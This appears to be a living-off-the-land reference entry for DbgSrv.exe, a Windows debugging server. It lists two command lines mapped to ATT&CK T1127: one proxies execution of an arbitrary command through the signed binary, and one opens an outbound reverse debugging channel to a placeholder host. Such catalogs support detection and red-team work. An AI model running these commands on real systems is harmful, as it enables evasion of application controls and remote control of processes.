.. /DbgSrv.exe
Star

Execute (CMD, Remote)

A process server included with Debugging Tools for Windows for remote user-mode debugging.

Paths:

Resources:

Acknowledgements:

Detections:

Execute

  1. Creates a process server and launches the specified command using the DbgSrv.exe -c option.

    dbgsrv.exe -t tcp:port=5005 -c {CMD}
    Use case

    Proxy execution of a command through a trusted Microsoft-signed debugging utility.

    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1127
    Tags
    Execute: CMD
  2. Establishes an outbound reverse connection from the DbgSrv process server to a remote debugging client using the clicon option. A connected debugging client can subsequently interact with processes through the remote debugging session.

    dbgsrv.exe -t tcp:clicon={HOST},port={PORT}
    Use case

    Establish a reverse remote-debugging channel through a trusted Microsoft-signed developer utility.

    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1127
    Tags
    Execute: Remote